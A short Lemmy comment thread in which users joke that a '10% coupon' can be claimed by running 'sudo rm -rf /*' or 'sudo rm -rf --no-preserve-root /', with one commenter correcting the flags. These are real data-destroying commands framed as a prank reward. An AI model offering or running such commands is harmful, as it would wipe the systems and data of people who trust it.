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[–] Luffy879@lemmy.ml 152 points 1 month ago (11 children)

For a 10% coupon, ssh into localhost and enter code sudo rm -rf /*

[–] n3cr0@lemmy.world 56 points 1 month ago (1 children)

Doesn't work for me. You forgot half of the coupon code.

Here's the correct coupon code: sudo rm -rf --no-preserve-root /

[–] exu@feditown.com 8 points 1 month ago

/* doesn't require --no-preserve-root, you're not trying to delete root after all.

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